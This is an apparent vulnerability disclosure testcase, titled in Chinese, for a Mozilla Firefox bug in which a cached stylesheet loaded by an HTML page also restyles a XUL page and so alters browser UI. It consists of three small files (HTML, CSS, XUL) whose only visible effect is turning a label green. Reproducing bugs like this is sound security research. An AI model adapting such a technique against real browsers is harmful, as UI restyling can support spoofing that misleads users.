Mozilla Firefox缓存XUL样式表更改浏览器UI漏洞

                                                test.html:
<link rel="stylesheet" href="test.css" type="text/css">
<iframe src="test.xul"></iframe>
 
test.css:
label {
  color: red;
}
label[someAttr] {
  color: green;
}
 
test.xul:
<?xml-stylesheet href="test.css" type="text/css"?>
<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
  <label someAttr="true" value="This should be green"/>
</page>